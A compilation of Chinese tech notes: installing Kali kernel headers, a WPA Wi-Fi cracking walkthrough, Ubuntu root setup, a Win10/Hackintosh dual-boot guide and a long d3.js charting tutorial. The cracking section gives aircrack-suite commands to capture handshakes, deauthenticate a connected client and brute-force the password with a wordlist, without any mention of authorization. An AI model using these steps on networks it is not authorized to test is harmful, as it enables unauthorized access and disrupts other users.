直接使用上面源来升级内核
如下命令查看版本:
~# uname -r
这时候使用命令
apt-get install linux-headers-$(uname -r)
这样就可以了,但是我实践的时候碰到下面问题
命令:
apt-get install linux-headers-$(uname -r)
出现如下错误:
E: Unable to locate package linux-headers-4.3.0-kali1-amd64
E: Couldn't find any package by glob 'linux-headers-4.3.0-kali1-amd64
E: Couldn't find any package by regex 'linux-headers-4.3.0-kali1-amd64
翻遍Google,得到解决方案,如下:
1.下载inux-kbuild,链接:(http://http.kali.org/kali/pool/main/l/linux-tools/)具体版本参见自己的主机;
2.编译linux-kbuild;
dkpg -i linux-kbuild-4.3_4.3.1-2kali1_amd64.deb
3.下载linux-header-common和主机版本对应的linux-header。链接(http://http.kali.org/kali/pool/main/l/linux/),具体版本参见自己的主机
4.首先编译linux-header-common
dkpg -i linux-headers-4.3.0-kali1-common_4.3.3-5kali4_amd64.deb
5.最后编译linux-header
dkpg -i linux-headers-4.3.0-kali1-amd64_4.3.3-5kali4_amd64.deb
于是乎,经过百般折腾后,WiFi启用成功!
网络之旅踏上新征程!
最后要实践的就是无线路由WiFi破解¶
3)查看wifi网络¶
# airodump-ng prism0
上面列出了周围的wifi和它们的详细信息,包括信号强度、加密类型、频道等。要记住要破解wifi的频道号和BSSID。 按Ctrl-C结束。
4)抓取握手包¶
使用网卡的监听模式抓取周围的无线网络数据包。其中,对我们最重要的数据包是:包含密码的包-也叫握手包。当有新用户或断开用户自动连接wifi时,会发送握手包。 开始抓包:
# airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8 -w ~/ prism0
参数解释: -c指定频道号 –bssid指定路由器bssid -w指定抓取的数据包保存位置
5)强制连接到wifi的设备重新连接路由器¶
现在我们只要等用户连接/重连接wifi了,运气不好也许要很长时间。 但是我们是不会等的,这不是耐心黑客该干的事。有一个叫aireplay-ng的工具,它可以强制用户断开wifi连接;原理是,给连接到wifi的一个设备发送一个deauth(反认证)包,让那个设备断开wifi,随后它自然会再次连接wifi。 aireplay-ng的生效前提是,wifi网络中至少有一个连接的设备。从上图(4)可以看到哪些设备连接到了wifi,STATION就是连接设备的MAC地址,记住一个。 打开新终端执行:
# aireplay-ng -0 2 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C prism0
参数解释: -0指定发送反认证包的个数 -a指定无线路由器BSSID -c指定强制断开的设备
如果成功:
按Ctrl-C结束抓包。 我们已经得到了想要的握手包了,可以结束无线网卡的监控模式了:
# airmon-ng stop prism0
6) 开始破解密码¶
# aircrack-ng -a2 -b C8:3A:35:30:3E:C8 -w /usr/share/wordlists/rockyou.txt ~/*.cap
参数解释: -a2代表WPA的握手包 -b指定要破解的wifi BSSID。 -w指定字典文件 最后是抓取的包
第八节:Vmware Ubuntu安装virtual tools¶
一、su认证失败¶

- Ubuntu安装后,有两种登录方式,一开始我进入的是guest模式,切换sudo passwd输入密码报错,原因需进入桌面用户来进行。
- Ubuntu安装后,root用户默认是被锁定了的,不允许登录,也不允许 “su” 到 root.
francis@francis-virtual-machine:~$ su
密码: #输入安装时root用户的密码
su:认证失败
二、允许su到root¶
francis@francis-virtual-machine:~$ sudo passwd
密码: #输入安装时那个用户的密码
输入新的 UNIX 密码: #新的Root用户密码
重新输入新的 UNIX 密码: #重复新的Root用户密码
passwd: #已成功更新密码
francis@francis-virtual-machine:~$ su
密码:<--输入重置的新密码
root@francis-virtual-machine:/home/francis/桌面 #已经进入root用户
三、问题¶
客户机操作系统已将 CD-ROM 门锁定,并且可能正在使用 CD-ROM,这可能会导致客户机无法识别介质的更改。如果可能,请在断开连接之前从客户机内部弹出 CD-ROM。确实要断开连接并覆盖锁定设置吗?
找到VMware安装根目录,寻找linux.iso文件,在虚拟机设置中更换ISO镜像文件为linux.iso,类似的如果是在win系统中则更换win.iso。
第九节:单硬盘安装win10及Hackintosh双系统¶
1.gpt+efi安装win10¶
1.1 进入PE分区¶
- 刻一个efi的U盘,在bios中选择efi引导,此时不需要往U盘里面放系统。 只是进入PE中进行磁盘分区!
- 磁盘工具及命令分区
安装mac一般efi分区得设置为300M+,win10所分配的efi只有100M,
这里采用dos创建efi与msr保留分区。
dos输入:diskpart
sel disk 0 (选择0号磁盘)
clean (清除磁盘)
convert gpt (磁盘转gpt格式)
create partition efi size=300 (必须)
create partition msr size=128 (可选)
exit (退出)
最后用DiskGenius直接快速创建分区,左下角记得把保留efi分区与创建msr分区勾选上。
1.2 U盘刻win10原版镜像¶
解决用 UEFI 引导 U盘启动映像文件大于 4G
原版镜像中的 install.wim 没有超过 4G 的,如果是我们自己备份的 wim 映像,
一般都会超过 4G。FAT32 文件系统不支持大于 4G 的文件,而如果用 NTFS 格式的
文件系统又不支持 UEFI 启动。如果 wim 文件超过 4G 不是太大,可以转换为 esd
格式;否则,要是想两者兼备,那只能对 U盘分区了。
U盘分两个区,一个是 FAT32 用来存放引导文件,另一个就是 NTFS 来放置 wim 文件了。
分区有很多种方式,为了便于操作,我们用软碟通来操作。
用软碟通打开镜像 (iso),进行以下操作:
boot 文件夹仅保留 boot.sdi,其他删除;
sources 文件夹仅保留 boot.wim,其他删除;
efi 文件夹全部保留。
其他文件和文件夹全部删除。
然后保存为一个新的iso文件
插上U盘,点击菜单栏上的“启动” - “写入硬盘映像”。
写入完成后U盘分为可见分区与UEFI 启动分区。将可见分区格式fat32转化为NTFS格式。
将下列内容复制进 U盘:
boot 文件夹以及里面的全部文件;(原iso)
bootmgr 文件;(原iso)
sources 文件夹(注意:里面的 install.wim 是自己备份的,名字必须是 install.wim (原iso)
1.3 直接安装¶
插入U盘安装即可!
2.mac系统安装¶
下载一个mac 10.13.4原版镜像¶
准备一个存放mac启动的U盘¶
用win10自带的磁盘管理压缩C分区用于安装黑苹果¶
推荐45G左右
用TransMac制作黑苹果安装U盘¶
右键U盘先选择formatDisk for mac,再选择Restore with Disk Image,选择下载好的黑苹果镜像dmg文件,会弹出窗口,提示将要格式化USB磁盘,点击OK按钮继续。写入完成,系统弹出将其格式化,点击取消。
替换U盘EFI分区文件¶
下载远景论坛的efi配置,然后替换掉U盘EFI分区文件即可!
复制方法如下:
打开DiskGenius分区软件删除U盘的EFI目录
在DiskGenius分区软件(在点击相应盘符后中间位置会有个浏览文件)下用快捷键ctrl+v 把新的EFI复制进去
格式化分区¶
运行Paragon Hard Disk Manage 12,将第三点中压缩出来的未使用分区格式化为Apple HFS
合拼双系统的EFI启动分区¶
合拼黑苹果EFI和Win10的EFI启动分区
运行diskpart命令
按照下面命令挂载自带硬盘的EFI分区
list disk //列出目前连接的磁盘
sel disk 0 //选中disk0磁盘
list par //列出选中磁盘的所有分区
sel par 1 //选中第一个分区,默认第一个是ESP/EFI分区,如果不一样按照实际修改。
ass letter=Z //挂载选中的第一分区为Z盘
exit //退出diskpart
将刚刚做好的U盘EFI分区(也叫做ESP分区)和硬盘里的EFI分区合拼
以管理员权限运行命令台(开始菜单找到命令行,右键以管理员运行)。输入以下命令,自动将安装U盘里的EFI分区(含有clover启动文件和黑苹果引导文件)和硬盘的EFI分区(含有WIN10引导文件)合拼。
XCOPY E:\EFI Z:\EFI /s /e /h
上面的Z:代表你刚刚给硬盘ESP分区分配的盘符,这个大家都一定相同的。
E:代表你的U盘的EFI分区,这个可能每个人都不一样,自己按照实际修改。
默认情况下硬盘上的EFI分区是由WIN10自动生成的,卷标名称为ESP。U盘的EFI分区卷标为EFI
添加主板UEFI启动项¶
点击UEFI选项,修改启动顺序,添加一个启动项。在打开的窗口选中你硬盘的EFI分区(默认卷标名称为ESP),注意别选错了,经过刚刚的合拼,clover启动和黑苹果引导已经在硬盘的EFI分区(默认卷标为ESP)必须是硬盘上的。
mac安装¶
由于之前已经用Paragon Hard Disk Manage 12工具对磁盘进行操作了,这里不需要使用磁盘工具进行抹盘操作,直接安装即可,注意安装过程中有自动重启过程,请不必担心。
3.驱动问题¶
由于之前的efi已经配置很好了,使用的现成的,所以这里只需要解决两个问题: 第一:无线无法连接,这个问题无解! 第二:声卡问题,通过淘宝援助解决!之前使用的是万能声卡,开机噪声很大,卸载了,网上教程未深入尝试!
第四章:数据可视化¶
这一章介绍的是有关数据可视化的教程 ,包括d3.js基础及进阶,微信分析实战等,更多内容,待更新…
第一节:d3.js初识&绘制柱形图¶
1.d3.js初识¶
d3.js引用¶
<script src="https://d3js.org/d3.v5.min.js" charset="utf-8"></script>
选择器¶
<P>Hello World1</P>
<P>Hello World2</P>
<script src="https://d3js.org/d3.v5.min.js" charset="utf-8"></script>
<script>
/*
选择器:d3.select()或d3.selectAll()
像下面d3.select().selectAll().text()这种称为链式语法
*/
//d3.select("body").selectAll("p").text("Hello D3js")
var c = d3.select("body")
.selectAll("p")
.text("您好,d3.js!")
c.style("color","red")
.style("font-size","72px")
</script>
选择器进阶¶
<p>Apple</p>
<p id="sec" class="twlas">Pear</p>
<p class="twlas">hah</p>
<h1>Banana</h1>
<script src="https://d3js.org/d3.v5.min.js" charset="utf-8"></script>
<script type="text/javascript">
/*
1.选择所有的p
var p = d3.selectAll("p")
*/
/*
2.选择第一个p
var p = d3.select("p")
*/
/*
3.选择第二个p元素 给第二个设置个id,通过id查找
var p = d3.select("#sec")
*/
/*
4.选择最后两个p元素 给最后两个设置相同的class,在查找时通过记得加.
var p = d3.selectAll(".twlas")
p.style("color","red")
.style("font-size","32px")
.style("font-weight","bold")
*/
/*
5.通过function(d,i)设置第一和第三个style
p.style("color", function(d, i) {
if(i!=1) {
return "red"
}
})
*/
//插入元素
var body = d3.select("body")
body.append("p")
.text("append p element")
//在id为sec前面插入一个p标签
body.insert("p","#sec")
.text("insert p element")
// 删除元素
var p = body.select("#sec")
p.remove()
</script>
选择元素和绑定数据¶
<p>Apple</p>
<p>Pear</p>
<p>Banana</p>
<script src="https://d3js.org/d3.v5.min.js" charset="utf-8"></script>
<script type="text/javascript">
/*
选择元素和绑定数据
选择元素
---d3.select();d3.selectAll() 函数返回结果为选择集
绑定数据
---datum() 绑定一个数据到选择集上
---data() 绑定一个数组到选择集上,数组的各项值分别与选择集的各元素绑定
*/
var p = d3.select("body")
.selectAll("p")
//------datum()练习------
var str = "China"
p.datum(str)
.text(function(d, i){
return "第 " + (i+1) + " 个元素绑定的数据是 " + d
})
/*
第 1 个元素绑定的数据是 China
第 2 个元素绑定的数据是 China
第 3 个元素绑定的数据是 China
*/
//------data()练习------
var dataset = ["I like dogs", "I like cats", "I like snakes"]
p.data(dataset)
.text(function(d, i) {
return "第 " + (i+1) + " 个元素绑定的数据是 " + d
})
/*
第 1 个元素绑定的数据是 I like dogs
第 2 个元素绑定的数据是 I like cats
第 3 个元素绑定的数据是 I like snakes
*/
</script>
绘制柱形图¶
<script src="https://d3js.org/d3.v5.min.js" charset="utf-8"></script>
<script type="text/javascript">
var width = 300
var height = 300
var svg = d3.select("body")
.append("svg")
.attr("width",width)
.attr("height",height)
var dataset = [250, 210, 170, 130, 90]; //数据(表示矩形的宽度)
var rectHeight = 25; //每个矩形所占的像素高度(包括空白)
//在 SVG 中,x 轴的正方向是水平向右,y 轴的正方向是垂直向下的
svg.selectAll("rect")
.data(dataset) //绑定数组
.enter() //指定选择集的enter部分
.append("rect") // 添加足够数量的举行元素
.attr("x",20)
.attr("y",function(d,i){
return i * rectHeight;
})
.attr("width",function(d){
return d;
})
.attr("height",rectHeight-2) //减去2表示每个柱子之间留空白
.attr("fill","#09F");
/*
svg.selectAll("rect") //选择svg内所有的矩形
.data(dataset) //绑定数组
.enter() //指定选择集的enter部分
.append("rect") //添加足够数量的矩形元素
当有数据,而没有足够图形元素的时候,使用此方法可以添加足够的元素。
*/
</script>
比例尺¶
<script src="https://d3js.org/d3.v5.min.js" charset="utf-8"></script>
<script type="text/javascript">
/*
var dataset = [ 250 , 210 , 170 , 130 , 90 ];
绘图时,直接使用 250 给矩形的宽度赋值,即矩形的宽度就是 250 个像素。此方式非常具有局限性,如果数值过大或过小。于是,我们需要一种计算关系,能够:将某一区域的值映射到另一区域,其大小关系不变。这就是比例尺(Scale)。
*/
/*
1.线性比例尺
线性比例尺,能将一个连续的区间,映射到另一区间。要解决柱形图宽度的问题,就需要线性比例尺。
*/
var dataset = [1.2, 2.3, 0.9, 1.5, 3.3]
var min = d3.min(dataset)
var max = d3.max(dataset)
/*
比例尺的定义域 domain 为:[0.9, 3.3]
比例尺的值域 range 为:[0, 300]
*/
var linear = d3.scaleLinear()
.domain([min,max])
.range(0,300)
linear(0.9); //返回 0
console.log(linear(2.3)); //返回 175
console.log(linear(3.3)); //返回 300
/*
2.序数比例尺
有时候,定义域和值域不一定是连续的
*/
var index = [0, 1, 2, 3, 4];
var color = ["red", "blue", "green", "yellow", "black"];
var ordinal = d3.scaleOrdinal()
.domain(index)
.range(color);
ordinal(0); //返回 red
ordinal(2); //返回 green
ordinal(4); //返回 black
</script>
给柱状图添加比例尺¶
<script src="https://d3js.org/d3.v5.min.js" charset="utf-8"></script>
<script>
var width = 300; //画布的宽度
var height = 300; //画布的高度
var svg = d3.select("body") //选择文档中的body元素
.append("svg") //添加一个svg元素
.attr("width", width) //设定宽度
.attr("height", height); //设定高度
var dataset = [ 2.5 , 2.1 , 1.7 , 1.3 , 0.9 ];
var linear = d3.scaleLinear()
.domain([0, d3.max(dataset)])
.range([0, 250]);
var rectHeight = 25; //每个矩形所占的像素高度(包括空白)
svg.selectAll("rect")
.data(dataset)
.enter()
.append("rect")
.attr("x",20)
.attr("y",function(d,i){
return i * rectHeight;
})
.attr("width",function(d){
return linear(d);
})
.attr("height",rectHeight-2)
.attr("fill","steelblue");
</script>
svg中添加坐标轴¶
/*第一种方式*/
var xaxis = d3.axisBottom(linearx)
.ticks(7); //指定刻度的数量
svg.append("g")
.call(xaxis);
/*第二种方式*/
function xaxis(selection) {
selection
.attr("name1", "value1")
.attr("name2", "value2");
}
foo(d3.selectAll("div"))
//因此
xaxis(svg.append("g"))
添加x与y坐标轴¶
...
<head>
...
<style type="text/css">
.xaxis,.yaxis text {
font-family: sans-serif;
font-size: 10px;
}
</style>
</head>
<body>
<script src="https://d3js.org/d3.v5.min.js" charset="utf-8"></script>
<script type="text/javascript">
var width = 300; //画布的宽度
var height = 300; //画布的高度
var svg = d3.select("body") //选择文档中的body元素
.append("svg") //添加一个svg元素
.attr("width", width) //设定宽度
.attr("height", height); //设定高度
var datasetx = [ 2.5 , 2.1 , 1.7 , 1.3 , 0.9 ];
var linearx = d3.scaleLinear()
.domain([0, d3.max(datasetx)])
.range([0, 250]);
var lineary = d3.scaleLinear()
.domain([0, 125])
.range([0, 125]);
var rectHeight = 25; //每个矩形所占的像素高度(包括空白)
datasety = [25,50,75,100,125]
svg.selectAll("rect")
.data(datasetx)
.enter()
.append("rect")
.attr("x",30)
.attr("y",function(d,i){
return i * rectHeight;
})
.attr("width",function(d){
return linearx(d);
})
.attr("height",rectHeight-2)
.attr("fill","steelblue");
//若axisBottom改为axisTop()则横坐标的ticks朝上
var xaxis = d3.axisBottom(linearx)
.ticks(7); //指定刻度的数量
var yaxis = d3.axisLeft(lineary)
.tickValues(datasety)
.ticks(7)
//在 SVG 中添加一个分组元素 <g>,再将坐标轴的其他元素添加到这个 <g> 里即可
svg.append("g")
.attr("class","xaxis")
.attr("transform","translate(30,0)")
.call(xaxis);
svg.append("g")
.attr("class","yaxis")
.attr("transform","translate(30,-2)")
.call(yaxis);
</script>
</body>
</html>
原理分析¶
<!--通过以上代码,在谷歌浏览器上可以看出svg里面
就添加好坐标轴的分组g元素,里面又含有line与text元素,
分组元素<g>,是 SVG 画布中的元素,意思是 group。
此元素是将其他元素进行组合的容器,在这里是用于将坐标轴的其他元素分组存放。如果需要手动添加这些元素就太麻烦了,为此,D3 提供了一个组件:d3.axisBottom()。它为我们完成了以上工作。-->
<g>
<!-- 第一个刻度 -->
<g>
<line></line> <!-- 第一个刻度的直线 -->
<text></text> <!-- 第一个刻度的文字 -->
</g>
<!-- 第二个刻度 -->
<g>
<line></line> <!-- 第二个刻度的直线 -->
<text></text> <!-- 第二个刻度的文字 -->
</g>
...
<!-- 坐标轴的轴线 -->
<path></path>
</g>

scaleOrdinal
使用¶
//在上述代码中添加下面即可
var xTexts = [ "我", "你", "他" ];
var oridnal = d3.scaleOrdinal()
.domain(xTexts)
.range([0,100,250])

2.绘制完整的柱形图¶
<body>
<script src="https://d3js.org/d3.v5.min.js" charset="utf-8"></script>
<script type="text/javascript">
//画布大小
var width = 400;
var height = 400;
//在 body 里添加一个 SVG 画布
var svg = d3.select("body")
.append("svg")
.attr("width", width)
.attr("height", height);
//画布周边的空白
var padding = {left:20, right:30, top:50, bottom:20};
//定义一个数组
var dataset = [10, 20, 30, 40, 33, 24, 12, 5];
//x轴的比例尺
var xScale = d3.scaleBand()
.domain(d3.range(dataset.length))
.rangeRound([0, width - padding.left - padding.right]);
//y轴的比例尺
var yScale = d3.scaleLinear()
.domain([0,d3.max(dataset)])
//[height - padding.top - padding.bottom, 0]这样可以使得y轴正方向向上
.range([ 0,height - padding.top - padding.bottom]);
//定义x轴
var xAxis = d3.axisTop(xScale)
//定义y轴
var yAxis = d3.axisLeft(yScale)
//矩形之间的空白
var rectPadding = 4;
//添加矩形元素
var rects = svg.selectAll(".MyRect")
.data(dataset)
.enter()
.append("rect")
.attr("class","MyRect")
//
.attr("transform","translate(" + padding.left + "," + padding.top + ")")
/*
柱子绘制位置
*/
.attr("x", function(d,i){
return xScale(i) + rectPadding/2;
} )
.attr("y",function(d){
return 0;
})
.attr("width", xScale.bandwidth() - rectPadding)
.attr("height", function(d){
return yScale(d);
});
//添加文字元素
var texts = svg.selectAll(".MyText")
.data(dataset)
.enter()
.append("text")
.attr("class","MyText")
.attr("transform","translate(" + padding.left + "," + padding.top + ")")
.attr("x", function(d,i){
return xScale(i) + rectPadding/2;
} )
.attr("y",function(d){
return yScale(d);
})
.attr("dx",function(){
return (xScale.bandwidth() - rectPadding)/2;
})
.attr("dy",function(d){
return 20;
})
.text(function(d){
return d;
});
//添加x轴
svg.append("g")
.attr("class","axis")
.attr("transform","translate(" + padding.left + "," + padding.top + ")")
.call(xAxis);
//添加y轴
svg.append("g")
.attr("class","axis")
.attr("transform","translate(" + padding.left + "," + padding.top + ")")
.call(yAxis);
</script>
</body>

图形修改及润色¶
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<style type="text/css">
.MyText {
fill: #37C743FF;
text-anchor: middle;
}
/*css修改柱子颜色*/
.MyRect {
fill: steelblue;
}
</style>
</head>
<body>
<script src="https://d3js.org/d3.v5.min.js" charset="utf-8"></script>
<script type="text/javascript">
//画布大小
var width = 400;
var height = 400;
//在 body 里添加一个 SVG 画布
var svg = d3.select("body")
.append("svg")
.attr("width", width)
.attr("height", height);
//画布周边的空白
var padding = {left:20, right:30, top:20, bottom:20};
//定义一个数组
var dataset = [10, 20, 30, 40, 33, 24, 12, 5];
//x轴的比例尺
var xScale = d3.scaleBand()
.domain(d3.range(dataset.length))
.rangeRound([0, width - padding.left - padding.right]);
//y轴的比例尺
var yScale = d3.scaleLinear()
.domain([0,d3.max(dataset)])
//[height - padding.top - padding.bottom, 0]这样可以使得y轴正方向向上
.range([height - padding.top - padding.bottom, 0]);
//定义x轴
var xAxis = d3.axisBottom(xScale)
//定义y轴
var yAxis = d3.axisLeft(yScale)
//矩形之间的空白
var rectPadding = 4;
//添加矩形元素
var rects = svg.selectAll(".MyRect")
.data(dataset)
.enter()
.append("rect")
.attr("class","MyRect")
.attr("transform","translate(" + padding.left + "," + padding.top + ")")
.attr("x", function(d,i){
return xScale(i) + rectPadding/2;
} )
.attr("y",function(d){
return yScale(d);
})
.attr("width", xScale.bandwidth() - rectPadding)
.attr("height", function(d){
//y轴朝上写法与上述y轴比例尺的.range([height - padding.top - padding.bottom, 0])配合使用
return height - padding.top - padding.bottom - yScale(d);
});
//添加文字元素
var texts = svg.selectAll(".MyText")
.data(dataset)
.enter()
.append("text")
.attr("class","MyText")
.attr("transform","translate(" + padding.left + "," + padding.top + ")")
//text的x
.attr("x", function(d,i){
return xScale(i) + rectPadding/2;
} )
//text的y
.attr("y",function(d){
return yScale(d);
})
//dx为text的位移,向左为负,向右为正
.attr("dx",function(){
return (xScale.bandwidth() - rectPadding)/2 ;
})
//根据图形自己调整,dy为text相对于柱子的位移,向下为正,向上为负号
//当y坐标向下时,为默认情况,此时这里dy为正值时,则正常显示,但当y坐标为上,由于height - padding.top - padding.bottom - yScale(d),此时会出现覆盖情况,text不显示,需手动调整
.attr("dy",function(d){
return -5;
})
.text(function(d){
return d;
});
//添加x轴
svg.append("g")
.attr("class","axis")
.attr("transform","translate(" + padding.left + "," + (height - padding.bottom) + ")")
.call(xAxis);
//添加y轴
svg.append("g")
.attr("class","axis")
.attr("transform","translate(" + padding.left + "," + padding.top + ")")
.call(yAxis);
</script>
</body>
</html>

3.让图表动起来¶
图表动起来¶
动态的图表,是指图表在某一时间段会发生某种变化,可能是形状、颜色、位置等,而且用户是可以看到变化的过程的。
transition() 启动过渡效果
duration() 指定过渡的持续事件 单位为毫秒
ease() 指定过渡的方式 d3.easeBounce d3.easeLinear等
调用:ease(d3.easeBounce)
delay() 指定延迟的时间,表示一定时间后才开始转变,单位同样为毫秒。此函数可以对整体指定延迟,也可以对个别指定延迟。
对整体指定时:
.transition()
.duration(1000)
.delay(500)
如此,图形整体在延迟 500 毫秒后发生变化,变化的时长为 1000 毫秒。因此,过渡的总时长为1500毫秒。
又如,对一个一个的图形(图形上绑定了数据)进行指定时:
.transition()
.duration(1000)
.delay(funtion(d,i){
return 200*i;
})
如此,假设有 10 个元素,那么第 1 个元素延迟 0 毫秒(因为 i = 0),第 2 个元素延迟 200 毫秒,第 3 个延迟 400 毫秒,依次类推….整个过渡的长度为 200 * 9 + 1000 = 2800 毫秒。
为上述图形添加动态效果

//添加矩形元素
var rects = svg.selectAll(".MyRect")
.data(dataset)
.enter()
.append("rect")
.attr("class","MyRect")
.attr("transform","translate(" + padding.left + "," + padding.top + ")")
.attr("x", function(d,i){
return xScale(i) + rectPadding/2;
} )
.attr("width", xScale.bandwidth() - rectPadding)
.attr("y",function(d){
var min = yScale.domain()[0];
return yScale(min);
})
.attr("height", function(d){
return 0;
})
.transition()
.delay(function(d,i){
return i * 200;
})
.duration(2000)
.ease(d3.easeBounce)
.attr("y",function(d){
return yScale(d);
})
.attr("height", function(d){
return height - padding.top - padding.bottom - yScale(d);
});
//添加文字元素
var texts = svg.selectAll(".MyText")
.data(dataset)
.enter()
.append("text")
.attr("class","MyText")
.attr("transform","translate(" + padding.left + "," + padding.top + ")")
//text的x
.attr("x", function(d,i){
return xScale(i) + rectPadding/2;
} )
//dx为text的位移,向左为负,向右为正
.attr("dx",function(){
return (xScale.bandwidth() - rectPadding)/2 ;
})
//根据图形自己调整,dy为text相对于柱子的位移,向下为正,向上为负号
//当y坐标向下时,为默认情况,此时这里dy为正值时,则正常显示,但当y坐标为上,由于height - padding.top - padding.bottom - yScale(d),此时会出现覆盖情况,text不显示,需手动调整
.attr("dy",function(d){
return -5;
})
//text的y
.attr("y",function(d){
//获取y的最小值
var min = yScale.domain()[0];
return yScale(min);
})
.transition()
.delay(function(d,i) {
return i*200
})
.duration(2000)
.ease(d3.easeCubic)
.attr("y",function(d){
return yScale(d)
})
//必须放在最后,否则报错!
.text(function(d){
return d;
});
4.浅析Update、Enter、Exit¶
what is Update and Enter?¶
如果数组为 [3, 6, 9, 12, 15],将此数组绑定到p的选择集上。
以下分为两种:
-第一种:数组元素(数据)大于p标签元素个数
-第二种:数组元素(数据)小于p标签元素个数
第一种情况中会有几个数组元素没有对应的p标签元素,此时这部分称为enter,而有数据与p元素相对应的称为update。
第二种情况中会有几个空余的p元素未能与数据相对应,此时没有数据绑定的部分被称为 Exit。

Update和Enter使用¶
给定一个元素个数为6的数组,3个p标签,分别处理Update与Enter
<p></p>
<p></p>
<p></p>
<script type="text/javascript" src="d3.min.js" charset="utf-8"></script>
<script type="text/javascript">
var dataset = [3,6,9,15,18,20]
// 选择body中的p元素
var p =d3.select("body")
.selectAll("p")
//获取enter部分
var update = p.data(dataset)
//update部分的处理:更新属性值
update.text(function(d,i) {
return "index " + i +" update " + d
})
var enter = update.enter()
//enter部分的处理:添加元素后赋予属性值
enter.append("p")
.text(function(d, i){
return "index " + i +" enter " + d
});
</script>
output¶
index 0 update 3
index 1 update 6
index 2 update 9
index 3 enter 15
index 4 enter 18
index 5 enter 20
Update 和 Exit 的使用¶
当对应的元素过多时 ( 绑定数据数量 < 对应元素 ),需要删掉多余的元素。
<p></p>
<p></p>
<p></p>
<script type="text/javascript" src="d3.min.js" charset="utf-8"></script>
<script type="text/javascript">
var dataset = [3];
//选择body中的p元素
var p = d3.select("body").selectAll("p");
//获取update部分
var update = p.data(dataset);
//获取exit部分
var exit = update.exit();
//update部分的处理:更新属性值
update.text(function(d){
return "update " + d;
});
//exit部分的处理:修改p元素的属性
exit.text(function(d){
return "exit";
});
//exit部分的处理通常是删除元素
// exit.remove();
</script>
output¶
update 3
exit
exit
5.交互式操作¶

用户用于交互的工具一般有三种:鼠标、键盘、触屏¶
//添加矩形元素
var rects = svg.selectAll(".MyRect")
.data(dataset)
.enter()
.append("rect")
.attr("class","MyRect") //把类里的 fill 属性清空
.attr("transform","translate(" + padding.left + "," + padding.top + ")")
.attr("x", function(d,i){
return xScale(i) + rectPadding/2;
} )
.attr("y",function(d){
return yScale(d);
})
.attr("width", xScale.bandwidth() - rectPadding )
.attr("height", function(d){
return height - padding.top - padding.bottom - yScale(d);
})
.attr("fill","steelblue") //填充颜色不要写在CSS里
.on("mouseover",function(d,i){
console.log("MouseOver");
d3.select(this)
.attr("fill","yellow");
})
.on("click",function (d,i) {
console.log("Click!");
})
.on("mouseout",function(d,i){
console.log("MouseOut")
d3.select(this)
.transition()
.duration(500)
.attr("fill","steelblue");
});

第二节:d3.js布局之集群图与树图¶
- 注意:通过d3.json加载json数据文件时,必须通过一个http服务器来访问,不能本地!例如:127.0.0.1/d3_example.html
1.集群图¶
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>集群图构建</title>
<style>
.link {
fill: none;
stroke: #555;
stroke-opacity: 0.4;
stroke-width: 1.5px;
}
circle {
stroke-width: 1.5px;
stroke: steelblue;
fill: #fff;
}
</style>
</head>
<body>
<script src="d3.min.js"></script>
<script>
// 定义svg宽度与高度
var width = 800
var height = 600
//为body里面添加svg标签
var svg = d3.select("body").append("svg")
.attr("width", width)
.attr("height", height)
//在svg中添加g标签
.append("g")
.attr("transform", "translate(80,0)");
// 加载json文件
// v5使用.then语法(promise)来构建
d3.json("city1.json").then( function(data){
root = d3.hierarchy(data);
var cluster = d3.cluster()
.size([height, width - 300])
// .nodeSize([50,300]) ;
// .separation(function(a, b) { return(a.parent == b.parent ? 1 : 2); });
//打印cluster后的数据
console.log(cluster(root))
cluster(root)
//通过path绘制节点之间的连接
var link = svg.selectAll(".link")
//加载除了第一个结点之后的所有子孙的连接
.data(root.descendants().slice(1))
.enter()
.append("path")
.attr("class", "link")
.attr("d", function(d) {
return "M" + d.y + "," + d.x +
"C" + (d.parent.y + 100) + "," + d.x +
" " + (d.parent.y + 100) + "," + d.parent.x +
" " + d.parent.y + "," + d.parent.x;
});
//在svg中添加g标签,用于存放节点与文字
var node = svg.selectAll(".node")
.data(root.descendants())
.enter()
.append("g")
//簇的深度方向(也就是水平方向)是y,排列方向是x(也就是靠近页面顶部方向)
.attr("transform", function(d) { return "translate(" + d.y + "," + d.x + ")"; })
//绘制节点
node.append("circle")
.attr("r", 8)
//添加文字
node.append("text")
//设置文字偏移量
.attr("dy", 5)
//设置文字偏移量,根据是否有孩子来判断是向左还是向右
.attr("x", function(d) { return d.children ? -12 : 12; })
.style("text-anchor", function(d) { return d.children ? "end" : "start"; })
.attr("font-size", "150%")
.text(function(d) { return d.data.name; });
})
</script>
</body>
</html>
2.树图¶

//修改代码如下,其余不变
var tree = d3.tree()
.size([height, width - 300])
console.log(tree(root))
tree(root)

第三节:d3.js布局之打包图¶
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<script type="text/javascript" src="d3.min.js" charset="utf-8"></script>
<script type="text/javascript">
var width = 800
var height = 800
var svg = d3.select("body")
.append("svg")
.attr("width",width)
.attr("height",height)
.append("g")
.attr("transform", "translate(80,0)")
var pack = d3.pack()
.size([width, height])
.padding(0)
d3.json("test.json").then(function(data) {
var root = d3.hierarchy(data);
root.sum(function(d) { return d.value; });
var pack = d3.pack()
.size([width, height])
.padding(0); //指定圆的切线之间的距离。默认值为0。
console.log(pack(root))
pack(root);
// 3. svg要素の配置
var node = d3.select("svg").selectAll(".node")
.data(root.descendants())
.enter()
.append("g")
.attr("transform", function(d) { return "translate(" + d.x + "," + (d.y) + ")"; });
var color = d3.scaleOrdinal(d3.schemeAccent)
node.append("circle")
.attr("r", function(d) { return d.r; })
.attr("stroke", "black")
.attr("fill", function(d,i) { return color(i); });
node.append("text")
.style("text-anchor", function(d) { return d.children ? "end" : "middle"; })
.attr("font-size", "150%")
.text(function(d) { return d.children ? "" : d.data.name; });
})
</script>
</body>
</html>

第四节:d3.js布局及实战¶
2.布局之饼图¶

查看饼图布局的数据¶
<script type="text/javascript" src="d3.min.js" charset="utf-8"></script>
<script type="text/javascript">
var width = 400
var height = 400
var dataset = [30, 10, 43, 55, 13]
var svg = d3.select("body")
.append("svg")
.attr("width", width)
.attr("height", height)
//定义布局
var pie = d3.pie()
//将dataset数据按照饼图布局转换为piedata
console.log(pie)
var piedata = pie(dataset)
console.log(piedata)
</script>
布局不是要直接绘图,而是为了得到绘图所需的数据。

绘制图形¶
